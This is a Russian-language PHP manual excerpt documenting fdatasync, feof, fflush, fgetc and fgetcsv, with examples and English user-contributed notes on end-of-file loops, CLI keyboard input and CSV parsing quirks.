Синхронизирует данные (но не метаданные) с файлом

  • « fclose
  • feof »
  • PHP Manual
  • Функции файловой системы
  • Синхронизирует данные (но не метаданные) с файлом

fdatasync

(PHP 8 >= 8.1.0)

fdatasync — Синхронизирует данные (но не метаданные) с файлом

Описание

fdatasync(resource $stream): bool

Функция синхронизирует содержимое stream с накопителем, как и fsync(), но не синхронизирует метаданные файла. Стоит обратить внимание, что данная функция фактически отличается только в системах POSIX. В Windows она является псевдонимом fsync().

Список параметров

stream

Указатель на файл должен быть корректным и указывать на файл, успешно открытый функциями fopen() или fsockopen() (и всё ещё не закрытый функцией fclose()).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования fdatasync()

<?php

$file = 'test.txt';

$stream = fopen($file, 'w');
fwrite($stream, 'тестовые данные');
fwrite($stream, "\r\n");
fwrite($stream, 'дополнительные данные');

fdatasync($stream);
fclose($stream);
?>

Смотрите также

  • fflush() - Сбрасывает буфер вывода в файл
  • fsync() - Синхронизирует изменения в файле (включая метаданные)

User Contributed Notes

greg at example dot com 13-Aug-2023 07:35
Does not flush st_atime, st_mtime or st_size.

If you need to use filesize after a write you will need need fsync() or fflush() instead.


Проверяет, достигнут ли конец файла

  • « fdatasync
  • fflush »
  • PHP Manual
  • Функции файловой системы
  • Проверяет, достигнут ли конец файла

feof

(PHP 4, PHP 5, PHP 7, PHP 8)

feof — Проверяет, достигнут ли конец файла

Описание

feof(resource $stream): bool

Проверяет, достигнут ли конец файла.

Список параметров

stream

Указатель на файл должен быть корректным и указывать на файл, успешно открытый функциями fopen() или fsockopen() (и всё ещё не закрытый функцией fclose()).

Возвращаемые значения

Возвращает true, если указатель файла указывает на EOF или произошла ошибка (в том числе превышено время ожидания сокета), иначе возвращает false.

Примечания

Внимание

Если подключение, открытое при помощи fsockopen(), не было закрыто сервером, feof() повиснет. Для варианта обхода этого поведения смотрите следующий пример:

Пример #1 Обработка времени ожидания с функцией feof()

<?php
function safe_feof($fp, &$start = NULL) {
$start = microtime(true);

return feof($fp);
}

/* Предположим, что $fp был ранее открыт с помощью fsockopen() */

$start = NULL;
$timeout = ini_get('default_socket_timeout');

while(!safe_feof($fp, $start) && (microtime(true) - $start) < $timeout)
{
/* Обработка */
}
?>

Внимание

Если передан неверный файловый указатель, то вы можете получить бесконечный цикл, так как feof() не сможет вернуть true.

Пример #2 Пример feof() с неверным файловым указателем

<?php
// если файл не может быть прочтён или не существует, fopen вернёт FALSE
$file = @fopen("no_such_file", "r");

// FALSE от fopen вызовет предупреждение и следующий цикл станет бесконечным
while (!feof($file)) {
}

fclose($file);
?>

User Contributed Notes

DimeCadmium 10-Jul-2018 07:22
feof() does not test for the actual end of a file, it tests for an exceptional condition known as end-of-file. (It's based on the C function of the same name which "tests the  end-of-file  indicator  for  the  stream")

That is to say, feof() only tells you whether fread() (and friends) have run into EOF, to allow you to differentiate it from other errors. You should be testing the return value of fread() (or whatever function you're using to read), not feof().

In particular, if your filehandle is invalid (file doesn't exist / permissions issue / etc.) or fread() encounters some other error, feof will return false, and your code will be running an infinite loop processing the FALSE returned from fread().

From the (C) manpage for fread():
       fread() does not distinguish between end-of-file and error, and callers
       must use feof(3) and ferror(3) to determine which occurred.
That is the SOLE purpose for feof().
line dot loic at gmail dot com 13-Aug-2015 09:13
To avoid infinite loops and the warning :
"Warning: feof() expects parameter 1 to be resource, boolean given"

You need to check that the fopen function return the correct type.
This can be achieved very easily with gettype().
Here is an example :

$source = fopen($xml_uri, "r");
$xml = "";

if(gettype($source) == "resource") { // Check here !
    while (!feof($source)) {
        $xml .= fgets($source, 4096);
    }
}

echo $xml;
lulzury at Yahoo dot com 01-Jul-2015 05:34
From washington dot edu css342:
On unix/linux, every line in a file has an End-Of-Line (EOL) character and the EOF character is after the last line. On windows, each line has an EOL characters except the last line. So unix/linux file's last line is
      stuff, EOL, EOF
whereas windows file's last line, if the cursor is on the line, is
      stuff, EOF

So set up data files on windows to be the same as on unix/linux. This way, you will correctly determine eof under both unix/linux and windows. In general, you must exit all loops and all functions immediately when you are attempting to read an item that would be past the eof.

Here is a typical set up that will work correctly. Suppose in a data file, there are multiple lines of data. In some function is the loop where you are reading and handling this data. This loop will look similar to the following.
     // infinite loop to read and handle a line of data
     for (;;) {
        $ln = fgets($fp);
        if (feof($fp)) break;

        // read the rest of the line
        // do whatever with data
     }
If you dislike infinite loops, you can accomplish this same thing using a while loop by priming the loop and reading again at the end:
    $ln = fgets($fp);
     while (!feof($fp)) {
        // read the rest of the line
        // do whatever with data

        $ln = fgets($fp);
     }
Alwar 02-Oct-2013 07:41
Don't use feof to test if you have readed all data sent by the other end of the socket. As i know it would return true only when the other end closes the connection.
dewi at dewimorgan dot com 09-Feb-2012 11:17
Return values in the documentation are incorrectly stated. It says:

Returns TRUE if the file pointer is at EOF or an error occurs (including socket timeout); otherwise returns FALSE.

Correct text would be more like:

Returns FALSE if no filehandle was passed;
returns NULL if no filehandle was passed;
returns TRUE if the file pointer is at EOF or an error occurs (including socket timeout);
otherwise returns FALSE.

As an example, running the following from the commandline:

php -r 'echo
    "Empty: ".var_export(feof(), true)."\n".
    "Null: ".var_export(feof(NULL), true)."\n".
    "Undefined: ".var_export(feof($undef), true)."\n"
;'

This will output:

PHP Warning:  Wrong parameter count for feof() in Command line code on line 1
PHP Warning:  feof(): supplied argument is not a valid stream resource in Command line code on line 1
PHP Warning:  feof(): supplied argument is not a valid stream resource in Command line code on line 1

Empty: NULL
Null: false
Undefined: false

This can, as other commenters have reported, result in infinite loops and massive PHP error logfiles, if the file handle returned by fopen() is invalid for any reason.
sudo dot adam dot carruthers at gmail dot com 06-Feb-2010 09:01
When using feof() on a TCP stream, i found the following to work (after many hours of frustration and anger):

NOTE: I used ";" to denote the end of data transmission.  This can be modified to whatever the server's end of file or in this case, end of output character is.

<?php
        $cursor = "";
        $inData = "";

        while(strcmp($cursor, ";") != 0) {
            $cursor = fgetc($sock);
            $inData.= $cursor;
        }
        fclose($sock);
        echo($inData);
?>

Since strcmp() returns 0 when the two strings are equal, it will return non zero as long as the cursor is not ";".  Using the above method will add ";" to the string, but the fix for this is simple.

<?php
        $cursor = "";
        $inData = "";

         $cursor = fgetc($sock);
        while(strcmp($cursor, ";") != 0) {
            $inData.= $cursor;
        }
        fclose($sock);
        echo($inData);
?>

I hope this helps someone.
jakicoll 02-Jan-2010 04:59
Please note that feof() used with TCP-Connections, returns false as long as the connection is open.
It even returns false when there is no data available.

BTW: Using feof() with HTTP for a single request, you should always make sure that you set the HTTP-Header "Connection" to "close" and _not_ to "keep-alive".
honzam+php at ipdgroup dot com 28-Feb-2008 02:17
Johannes: Remember note from stream_get_meta_data page: For socket streams this member [eof] can be TRUE  even when unread_bytes  is non-zero. To determine if there is more data to be read, use feof() instead of reading this item.

Another thing: better not rely on the "including socket timeout" part of when feof returns true. Just found program looping two days in while(!feof($fd)) fread ... with 20 seconds timeout in PHP 4.3.10.
Jet 19-Sep-2007 07:03
To avoid infinite loop with fgets() just use do..while statement.

<?php
if ($f = fopen('myfile.txt', 'r')) do {
    $line = fgets($f);
    // do any stuff here...
} while (!feof($f));
fclose($f);
cmr at forestfactory dot de 19-Nov-2006 08:57
Here's solution 3:

<?
$fp = fopen("myfile.txt", "r");
while ( ($current_line = fgets($fp)) !== false ) {
  // do stuff to the current line here
}
fclose($fp);
?>

AFAICS fgets() never returns an empty string, so we can also write:

<?
$fp = fopen("myfile.txt", "r");
while ( $current_line = fgets($fp) ) {
  // do stuff to the current line here
}
fclose($fp);
?>
Tom 24-Oct-2006 03:27
feof() is, in fact, reliable.  However, you have to use it carefully in conjunction with fgets().  A common (but incorrect) approach is to try something like this:

<?
$fp = fopen("myfile.txt", "r");
while (!feof($fp)) {
  $current_line = fgets($fp);
  // do stuff to the current line here
}
fclose($fp);
?>

The problem when processing plain text files is that feof() will not return true after getting the last line of input.  You need to try to get input _and fail_ before feof() returns true.  You can think of the loop above working like this:

* (merrily looping, getting lines and processing them)
* fgets used to get 2nd to last line
* line is processed
* loop back up -- feof returns false, so do the steps inside the loop
* fgets used to get last line
* line is processed
* loop back up -- since the last call to fgets worked (you got the last line), feof still returns false, so you do the steps inside the loop again
* fgets used to try to get another line (but there's nothing there!)
* your code doesn't realize this, and tries to process this non-existent line (typically by doing the same actions again)
* now when your code loops back up, feof returns true, and your loop ends

There's two ways to solve this:

1. You can put an additional test for feof() inside the loop
2. You can move around your calls to fgets() so that the testing of feof() happens in a better location

Here's solution 1:

<?
$fp = fopen("myfile.txt", "r");
while(!feof($fp)) {
  $current_line = fgets($fp);
  if (!feof($fp)) {
    // process current line
  }
}
fclose($fp);
?>

And here's solution 2 (IMHO, more elegant):

<?
$fp = fopen("myfile.txt", "r");
$current_line = fgets($fp);
while (!feof($fp)) {
  // process current line
  $current_line = fgets($fp);
}
fclose($fp);
?>

FYI, the eof() function in C++ works the exact same way, so this isn't just some weird PHP thing...
ironoxid at libero dot it 06-Jun-2006 06:52
I really thought that the feof() was TRUE when the logical file pointer is a EOF.
but no !
we need to read and get an empty record before the eof() reports TRUE.

So

$fp = fopen('test.bin','rb');
while(!feof($fp)) {
  $c = fgetc($fp);
  // ... do something with $c
  echo ftell($fp), ",";
}
echo 'EOF!';

prints for two time the last byte position.
If our file length is 5 byte this code prints

0,1,2,3,4,5,5,EOF!

Because of this, you have to do another check to verify if fgetc really reads another byte (to prevent error on "do something with $c" ^_^).

To prevent errors you have to use this code

$fp = fopen('test.bin','rb');
while(!feof($fp)) {
  $c = fgetc($fp);
  if($c === false) break;
  // ... do something with $c
}

but this is the same of

$fp = fopen('test.bin','rb');
while(($c = fgetc($fp))!==false) {
  // ... do something with $c
}

Consequently feof() is simply useless.
Before write this note I want to submit this as a php bug but one php developer said that this does not imply a bug in PHP itself (http://bugs.php.net/bug.php?id=35136&edit=2).

If this is not a bug I think that this need at least to be noticed.

Sorry for my bad english.
Bye ;)
m a p o p a at g m a i l. c o m 03-Jun-2006 05:58
you  can avoid the infinite loop and filling the error logs
by an simple if statement
Here is the example

    $handle = fopen("http://xml.weather.yahoo.com/forecastrss?p=AYXX0008&u=f", "r");
    $xml = "";
    if ($handle)
    {
       while (!feof($handle))
       {
           $xml .= fread($handle, 128);
       }
        fclose($handle);
    }
01-Jan-2006 06:27
if you use fseek function to pos the pointer exceed the size the file,feof still return true.so note that when you use feof as the condition of while loop.
04-Mar-2005 09:02
if you're worried the file pointer is invalid, TEST IT before you go into your loop... that way it'll never be an infinite loop.
Johannes 12-Mar-2004 02:47
I found feof() to be a slow function when using a non-blocking connection.

The function stream_get_meta_data() returns much quicker and has a return field 'eof'.


Сбрасывает буфер вывода в файл

  • « feof
  • fgetc »
  • PHP Manual
  • Функции файловой системы
  • Сбрасывает буфер вывода в файл

fflush

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

fflush — Сбрасывает буфер вывода в файл

Описание

fflush(resource $stream): bool

Данная функция осуществляет сброс буферизованных данных в файл, на который указывает stream.

Список параметров

stream

Указатель на файл должен быть корректным и указывать на файл, успешно открытый функциями fopen() или fsockopen() (и всё ещё не закрытый функцией fclose()).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример записи файла с помощью fflush()

<?php
$filename = 'bar.txt';

$file = fopen($filename, 'r+');
rewind($file);
fwrite($file, 'Foo');
fflush($file);
ftruncate($file, ftell($file));
fclose($file);
?>

Смотрите также

  • clearstatcache() - Очищает кеш состояния файлов
  • fwrite() - Бинарно-безопасная запись в файл

User Contributed Notes

michaelsy01[NXSPAM] at informantum dot de 06-Feb-2019 09:30
A hint for PHP beginners like me:
The buffered output which is write by fflush() has nothing to do with the output buffer which is initiated by the ob_start() function.
jzho327 at cse dot unsw dot edu dot au 27-Jan-2003 12:27
Sorry, the note I previously added regarding fflush() has a bug!

when you read file by calling
$fp = fopen("myfile", "a+");

and you wish to read the content, you have to call
rewind($fp) before you attemp to read it. (Silly me) Or else if you tried something like
$fp = fopen("myfile", "a+");
$content = fread($fp);

// show that content is in fact null
if ($content == NULL)
 print "but it must be first put to rewind<br>\n";

will result

but it must be first put to rewind.
[new line]

in fact, if you are not careful (like me), and you opened it with
$fp = fopen("myfile", "r+");
$content = fread($fp);
..
// do something with content
..
then you tried to again
$content = fread($fp);
without rewind, you'd get NULL again. This sounds trivial, but if you work with several file resources, with freads and fopens everywhere, you can get easily lost. So becareful.


Считывает символ из файла

  • « fflush
  • fgetcsv »
  • PHP Manual
  • Функции файловой системы
  • Считывает символ из файла

fgetc

(PHP 4, PHP 5, PHP 7, PHP 8)

fgetc — Считывает символ из файла

Описание

fgetc(resource $stream): string|false

Считывает символ из переданного указателя на файл.

Список параметров

stream

Указатель на файл должен быть корректным и указывать на файл, успешно открытый функциями fopen() или fsockopen() (и всё ещё не закрытый функцией fclose()).

Возвращаемые значения

Возвращает строку с одним символом, прочтённым из файла, на который указывает stream. Возвращает false при достижении EOF.

Внимание

Эта функция может возвращать как логическое значение false, так и значение не типа boolean, которое приводится к false. За более подробной информацией обратитесь к разделу Булев тип. Используйте оператор === для проверки значения, возвращаемого этой функцией.

Примеры

Пример #1 Пример использования функции fgetc()

<?php
$fp = fopen('somefile.txt', 'r');
if (!$fp) {
echo 'Ошибка при открытии файла somefile.txt';
}
while (false !== ($char = fgetc($fp))) {
echo "$char\n";
}
?>

Примечания

Замечание: Эта функция безопасна для обработки данных в двоичной форме.

Смотрите также

  • fread() - Бинарно-безопасное чтение файла
  • fopen() - Открывает файл или URL
  • popen() - Открывает файловый указатель процесса
  • fsockopen() - Открывает соединение с интернет-сокетом или доменным сокетом Unix
  • fgets() - Читает строку из файла

User Contributed Notes

seraclimov at yandex dot ru 29-Jan-2018 04:57
You can't just simple print separated characters of a text which is encoded in multibyte character set like this;
Because fgetc() will break each multibyte character on its every byte. Consider this example:

<?php
$path = 'foo/cyrillic.txt';
$handle = fopen($path, 'rb');
while (FALSE !== ($ch = fgetc($handle))) {
    $curs = ftell($hanlde);
    print "[$curs:] $ch\n";
}
/* The result will be something like this:
<
[1]: <
[2]: h
[3]: 2
[4]: >
[5]: ?
[6]: ?
[7]: ?
[8]: ?
[9]: ?
[10]: ?
[11]:
[12]: ?
[13]: ?
[14]: ?
[15]: ?
[16]: ?
*/ ?>

I don't think this is the best, but it can be a workaround:
<?php
$path = 'path/to/your/file.ext';

if (!$handle = fopen($path, 'rb')) {
    echo "Can't open ($path) file';
    exit;
}

$mbch = '';    // keeps the first byte of 2-byte cyrillic letters
while (FALSE !== ($ch = fgetc($handle))) {
    //check for the sign of 2-byte cyrillic letters
    if (empty($mbch) && (FALSE !== array_search(ord($ch), Array(208,209,129)))) {
        $mbch = $ch;    // keep the first byte
        continue;
    }
    $curs = ftell($handle);
    print "[$curs]: " . $mbch . $ch . PHP_EOL;
    // or print "[$curs]: $mbch$ch\n";
    if (!empty($mbch)) $mbch = '';    // erase the byte after using
}
?>
Anonymous 30-Jun-2017 02:10
If you call fgetc(HANDLE) multiple times you must clear buffer before, thus get all unwanted chars to the new new line character.

while (true) {

    //clear buffer - read all unwanted characters
    while(fgetc(STDIN) != "\n");

    //get first character from STDIN
    $first = fgetc(STDIN);
}
sfinktah at php dot spamtrak dot org 22-Mar-2011 06:33
To read a single key-press in CLI mode, you can either use ncurses (which will probably require additional modules for PHP) or get nasty with the *nix "/bin/stty" command)

<?php
   function stty($options) {
      exec($cmd = "/bin/stty $options", $output, $el);
      $el AND die("exec($cmd) failed");
      return implode(" ", $output);
   }

   function getchar($echo = false) {
      $echo = $echo ? "" : "-echo";

      # Get original settings
      $stty_settings = preg_replace("#.*; ?#s", "", stty("--all"));

      # Set new ones
      stty("cbreak $echo");

      # Get characters until a PERIOD is typed,
      # showing their hexidecimal ordinal values.
      printf("> ");
      do {
         printf("%02x ", ord($c = fgetc(STDIN)));
      } while ($c != '.');

      # Return settings
      stty($stty_settings);
   }

   getchar();
?>
alex at alexdemers dot me 11-May-2009 10:30
The best and simplest way to get input from a user in the CLI with only PHP is to use fgetc() function with the STDIN constant:

<?php

echo 'Are you sure you want to quit? (y/n) ';
$input = fgetc(STDIN);

if ($input == 'y')
{
    exit(0);
}

?>
ktraas at gmail dot com (Kevin Traas) 23-Mar-2009 07:08
I was using command-line PHP to create an interactive script and wanted the user to enter just one character of input - in response a Yes/No question.  Had some trouble finding a way to do so using fgets(), fgetc(), various suggestions using readline(), popen(), etc.  Came up with the following that works quite nicely:

$ans = strtolower( trim( `bash -c "read -n 1 -t 10 ANS ; echo \\\$ANS"` ) );


Читает строку из файла и производит разбор данных CSV

  • « fgetc
  • fgets »
  • PHP Manual
  • Функции файловой системы
  • Читает строку из файла и производит разбор данных CSV

fgetcsv

(PHP 4, PHP 5, PHP 7, PHP 8)

fgetcsv — Читает строку из файла и производит разбор данных CSV

Описание

fgetcsv(
resource $stream,
?int $length = null,
string $separator = ",",
string $enclosure = "\"",
string $escape = "\\"
): array|false

Данная функция похожа на функцию fgets(), с той разницей, что она производит анализ строки на наличие записей в формате CSV и возвращает найденные поля в качестве массива.

Замечание:

Эта функция принимает во внимание настройки локали. К примеру, если LANG установлена в en_US.UTF-8, то файлы в однобайтовой кодировке будут неправильно прочитаны этой функцией.

Список параметров

stream

Корректный файловый указатель на файл, успешно открытый при помощи fopen(), popen() или fsockopen().

length

Должен быть больше самой длинной строки (в символах), найденной в CSV-файле (включая завершающий символ конца строки). В противном случае, строка будет разбита на куски длиной в length символов, если только место разрыва не будет внутри ограничителей полей (enclosure).

Отсутствие этого параметра (или установка его в 0 или null, начиная с PHP 8.0.0) приведёт к тому, что длина строки будет не ограничена. Это может сказаться на скорости выполнения.

separator

Необязательный параметр separator устанавливает разделитель поля (только один однобайтовый символ).

enclosure

Необязательный параметр enclosure устанавливает символ ограничителя поля (только один однобайтовый символ).

escape

Необязательный параметр escape устанавливает экранирующий символ (не более одного однобайтового символа). Пустая строка ("") отключает проприетарный механизм экранирования.

Замечание: Обычно символ enclosure экранируется внутри поля путём его удваивания; однако, символ escape в качестве альтернативы. Поэтому значения по умолчанию этих параметров "" и \" имеют одинаковое значение. Помимо разрешения экранировать символ enclosure символ escape не имеет особого смысла; он даже не предназначен для самого экранирования.

Возвращаемые значения

Возвращает индексированный массив с прочтёнными полями в случае успешного выполнения или false в случае возникновения ошибки.

Замечание:

Пустая строка CSV-файла будет возвращена в качестве массива, содержащего единственный элемент null, ошибки в данном случае не возникнет.

Замечание: Если у вас возникают проблемы с распознаванием PHP концов строк при чтении или создании файлов на Macintosh-совместимом компьютере, включение опции auto_detect_line_endings может помочь решить проблему.

Список изменений

Версия | Описание
8.0.0 | Параметр length теперь допускает значение null.
7.4.0 | Теперь параметр escape может принимать пустую строку для отключения проприетарного механизма экранирования.

Примеры

Пример #1 Чтение и вывод на экран содержимого CSV-файла

<?php
$row = 1;
if (($handle = fopen("test.csv", "r")) !== FALSE) {
while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) {
$num = count($data);
echo "<p> $num полей в строке $row: <br /></p>\n";
$row++;
for ($c=0; $c < $num; $c++) {
echo $data[$c] . "<br />\n";
}
}
fclose($handle);
}
?>

Смотрите также

  • str_getcsv() - Выполняет разбор CSV-строки в массив
  • explode() - Разбивает строку с помощью разделителя
  • file() - Читает содержимое файла и помещает его в массив
  • pack() - Упаковать данные в бинарную строку
  • fputcsv() - Форматирует строку в виде CSV и записывает её в файловый указатель

User Contributed Notes

fil dot dogaru at gmail dot com 20-Oct-2022 07:55
Shorter solution to the handling proposed by jack dot peterson at gmail dot com. Not sure if more efficient, but I guess nowadays you all have at least 1GB RAM :)). Let me know @email.

He wrote: „If you receive data in the following format:

Time,Dataset1,Dataset2,
timestamp1,item 1 for dataset 1,item1 for dataset2
timestamp2,item 2 for dataset 1,item2 for dataset2

the following code will output a series of arrays grouped by column with the resulting format:
array (
[column 1 title] => array (
[timestamp1] => item1 for dataset1
[timestamp2] => item2 for dataset1
)

[column 2 title] => array (
[timestamp1] => item1 for dataset2
[timestamp2] => item2 for dataset2
)
)"

$filename = "mybeautifulcsv.csv";
$collected = array_map('str_getcsv', file($filename));
$total = count($collected[0]);
for($i=0; $i<$total; $i++):
$formated[$collected[0][$i]] = array_column($collected, $i, 0);
endfor;
array_shift($formated);

//var_dump($formated);
kamil dot dratwa at gmail dot com 24-Nov-2021 09:49
This part of the length parameter behavior description is tricky, because it's not mentioning that separator is considered as a char and converted into an empty string: "Otherwise the line is split in chunks of length characters (...)".

First, take a look at the example of reading a line which does't contain  separators:

<?php
    file_put_contents('data.csv', 'foo'); // no separator
    $handle = fopen('data.csv', 'c+');
    $data = fgetcsv($handle, 2);
    var_dump($data);
?>

Example above will output:
array(1) {
  [0]=>
  string(2) "fo"
}

Now let's add separators:

<?php
    file_put_contents('data.csv', 'f,o,o'); // commas used as a separators
    $handle = fopen('data.csv', 'c+');
    $data = fgetcsv($handle, 2);
    var_dump($data);
?>

Second example will output:

array(2) {
  [0]=>
  string(1) "f"
  [1]=>
  string(0) ""
}

Now let's alter the length:

<?php
    file_put_contents('data.csv', 'f,o,o');
    $handle = fopen('data.csv', 'c+');
    $data = fgetcsv($handle, 3); // notice updated length
    var_dump($data);
?>

Output of the last example is:

array(2) {
  [0]=>
  string(1) "f"
  [1]=>
  string(1) "o"
}

The final conclusion is that while splitting line in chunks, separator is considered as a char during the read but then it's being converted into empty string. What's more, if separator is at the very first or last position of a chunk it will be included in the result array, but if it's somewhere between other chars, then it will be just ignored.
Sbastien 01-Jul-2020 11:19
To use fgetcsv() with a string instead of a file, you can use the data: wrapper https://www.php.net/wrappers.data :

<?php

$csv = <<<CSV
    v1.1,v1.2,v1.3
    v2.1,v2.2,v2.3
    CSV;

$fp = fopen('data://text/plain,' . $csv, 'r');

print_r(fgetcsv($fp));
print_r(fgetcsv($fp));

/*

Array
(
    [0] => v1.1
    [1] => v1.2
    [2] => v1.3
)
Array
(
    [0] => v2.1
    [1] => v2.2
    [2] => v2.3
)

*/

?>
lewiscowles at me dot com 27-Feb-2020 03:11
In-case anyone is having difficulty working around Byte-order-marks, the following should work. As usual no warranty, you should test your code... It's for UTF-8 only

    <?php

    //...

    $fh = fopen('wut.csv', 'r');
    $firstThreeBytes = fread($fh , 3);
    if($firstThreeBytes !== "\xef\xbb\xbf") {
        rewind($fh);
    }
    while(($row = fgetcsv($fh, 10000, ',')) !== false) {
        // Your code here
    }

This basically reads 3 bytes and checks if they match

https://en.wikipedia.org/wiki/Byte_order_mark has more information if you are dealing with other code-pages
shaun at slickdesign dot com dot au 04-May-2018 03:08
When a BOM character is suppled, `fgetscsv` may appear to wrap the first element in "double quotation marks". The simplest way to ignore it is to progress the file pointer to the 4th byte before using `fgetcsv`.

<?php
// BOM as a string for comparison.
$bom = "\xef\xbb\xbf";

// Read file from beginning.
$fp = fopen($path, 'r');

// Progress file pointer and get first 3 characters to compare to the BOM string.
if (fgets($fp, 4) !== $bom) {
    // BOM not found - rewind pointer to start of file.
    rewind($fp);
}

// Read CSV into an array.
$lines = array();
while(!feof($fp) && ($line = fgetcsv($fp)) !== false) {
    $lines[] = $line;
}
?>
i at camerongreen dot org 03-Jan-2018 11:51
This style is shown as an example on this page and in a number of examples on the Internet:

<?php
$rows = array_map('str_getcsv', file('myfile.csv'));
?>

Note, this won't handle new lines within csv fields and thus should probably be avoided.
Gandalf the White 23-Feb-2017 10:14
Forget this while() loop mumbo jumbo! Use this:

$rows = array_map('str_getcsv', file('myfile.csv'));
$header = array_shift($rows);
$csv = array();
foreach ($rows as $row) {
  $csv[] = array_combine($header, $row);
}

Source: https://steindom.com/articles/shortest-php-code-convert-csv-associative-array
chris at ocproducts dot com 29-Jan-2017 07:31
This function has no special BOM handling. The first cell of the first row will inherit the BOM bytes, i.e. will be 3 bytes longer than expected. As the BOM is invisible you may not notice.

Excel on Windows, or text editors like Notepad, may add the BOM.
Daniel Klein 01-Nov-2016 01:26
The $escape parameter is completely unintuitive, but it is not broken. Here is a breakdown of fgetcsv()'s behaviour. In the examples I've used underscores (_) to show spaces and brackets ([]) to show individual fields:

- Leading whitespace in each field will be stripped if it comes immediately before an enclosure: ___"foo" -> [foo]
- There can only be one enclosure per field, although it will be concatenated with any data that appears between the end enclosure and the next delimiter/new line, including any trailing whitespaces ___"foo"_"bar"__ -> [foo_"bar"__]
- If the field does not start with (leading whitespace +) an enclosure, the whole field is interpreted as raw data, even if enclosure characters appear elsewhere within the field: _foo"bar"_ -> [_foo"bar"_]
- Delimiters cannot be escaped outside enclosures, they have to be enclosed instead. Delimiters don't need to be escaped inside enclosures: "foo,bar","baz,qux" -> [foo,bar][baz,qux]; foo\,bar -> [foo\][bar]; "foo\,bar" -> [foo\,bar]
- Double enclosures inside single enclosures are converted to single enclosures: "foobar" -> [foobar]; "foo""bar" -> [foo"bar]; """foo""" -> ["foo"]; ""foo"" -> [foo""] (empty enclosure followed by raw data)
- The $escape parameter works as expected, but unlike enclosures DOES NOT get unescaped. It is necessary to unescape the data elsewhere in the code: "\"foo\"" -> [\"foo\"]; "foo\"bar" -> [foo\"bar]

Note: the following data (which is a very common problem) is invalid: "\". Its structure is equivalent to "@ or in other words, an open enclosure, some data and no closing enclosure.

The following functions can be used to get the expected behaviour:

<?php
// Removes escape characters before both enclosures and escapes, but leaves everything else untouched, similiar to single quoting
function fgetcsv_unescape_enclosures_and_escapes($fh, $length = 0, $delimiter = ',', $enclosure = '"', $escape = '\\') {
  $fields = fgetcsv($fh, $length, $delimiter, $enclosure, $escape);
  if ($fields) {
    $regex_enclosure = preg_quote($enclosure);
    $regex_escape = preg_quote($escape);
    $fields = preg_replace("/{$regex_escape}({$regex_enclosure}|{$regex_escape})/", '$1', $fields);
  }
  return $fields;
}

// Does NOT remove a lone escape character at the end of a field
function fgetcsv_unescape_all($fh, $length = 0, $delimiter = ',', $enclosure = '"', $escape = '\\') {
  $fields = fgetcsv($fh, $length, $delimiter, $enclosure, $escape);
  if ($fields) {
    $regex_escape = preg_quote($escape);
    $fields = preg_replace("/{$regex_escape}(.)/s", '$1', $fields);
  }
  return $fields;
}

// Removes lone escape characters at the end of fields
function fgetcsv_unescape_all_strip_last($fh, $length = 0, $delimiter = ',', $enclosure = '"', $escape = '\\') {
  $fields = fgetcsv($fh, $length, $delimiter, $enclosure, $escape);
  if ($fields) {
    $regex_escape = preg_quote($escape);
    $fields = preg_replace("/{$regex_escape}(.?)/s", '$1', $fields);
  }
  return $fields;
}
?>

Caution: ideally, there shouldn't be any unescaped escape characters outside enclosures; the field should be enclosed and escaped instead. If there are any, they could end up being removed as well, depending on the function used.
from_php at puggan dot se 16-Sep-2016 01:37
Setting the $escape parameter dosn't return unescaped strings, but just avoid splitting on a $delimiter that have an escpae-char infront of it:

<?php
        $tmp_file = "/tmp/test.csv";
        file_put_contents($tmp_file, "\"first\\\";\\\"secound\"");
        echo "raw:" . PHP_EOL . file_get_contents($tmp_file) . PHP_EOL . PHP_EOL;

        echo "fgetcsv escaped bs:" . PHP_EOL;
        $f = fopen($tmp_file, 'r');
        while($r = fgetcsv($f, 1024, ';', '"', "\\"))
        {
                print_r($r);
        }
        fclose($f);
        echo PHP_EOL;

        echo "fgetcsv escaped #:" . PHP_EOL;
        $f = fopen($tmp_file, 'r');
        while($r = fgetcsv($f, 1024, ';', '"', "#"))
        {
                print_r($r);
        }
        fclose($f);
        echo PHP_EOL;
?>
vladimir at luchaninov dot com 31-Oct-2015 09:47
Here is an example how to use this function with generators
https://github.com/luchaninov/csv-file-loader (composer require "luchaninov/csv-file-loader:1.*")

$loader = new CsvFileLoader();
$loader->setFilename('/path/to/your_data.csv');

foreach ($loader->getItems() as $item) {
    var_dump($item); // do something here
}

If you have CSV-file like

id,name,surname
1,Jack,Black
2,John,Doe

you'll get 2 items

['id' => '1', 'name' => 'Jack', 'surname' => 'Black']
['id' => '2', 'name' => 'John', 'surname' => 'Doe']
tomasz at marcinkowski dot pl 11-Sep-2013 08:48
For anyone else struggling with disappearing non-latin characters in one-byte encodings - setting LANG env var (as the manual states) does not help at all. Look at LC_ALL instead.

In my case it was set to "pl_PL.utf8" but since my input file was in CP1250 most of polish characters (but not all of them!) had gone missing and city of "Lodz" had become just "dz". I've "fixed" it with "pl_PL".
sander at NOSPAM dot rotorsolutions dot nl 27-Aug-2013 12:49
If you don't want to define an enclosure charachter you can do the following:

<?php
  $row = fgetcsv($handle, 0, $delimiter, 0x00);
?>

I needed this to detect the enclosure used for csv files.
michael dot arnauts at gmail dot com 14-Mar-2012 01:19
fgetcsv seems to handle newlines within fields fine. So in fact it is not reading a line, but keeps reading untill it finds a \n-character that's not quoted as a field.

Example:

<?php
/* test.csv contains:
"col 1","col2","col3"
"this
is
having
multiple
lines","this not","this also not"
"normal record","nothing to see here","no data"
*/

$handle = fopen("test.csv", "r");
while (($data = fgetcsv($handle)) !== FALSE) {
    var_dump($data);
}
?>

Returns:
array(3) {
  [0]=>
  string(5) "col 1"
  [1]=>
  string(4) "col2"
  [2]=>
  string(4) "col3"
}
array(3) {
  [0]=>
  string(29) "this
is
having
multiple
lines"
  [1]=>
  string(8) "this not"
  [2]=>
  string(13) "this also not"
}
array(3) {
  [0]=>
  string(13) "normal record"
  [1]=>
  string(19) "nothing to see here"
  [2]=>
  string(7) "no data"
}

This means that you can expect fgetcsv to handle newlines within fields fine. This was not clear from the documentation.
nick at atomicdesign dot net 13-Jan-2012 12:48
I was getting a bytes exhausted error when iterating through a CSV file. ini_set('auto_detect_line_endings', 1); fixed it.
ifedinachukwu at yahoo dot com 05-Apr-2011 05:43
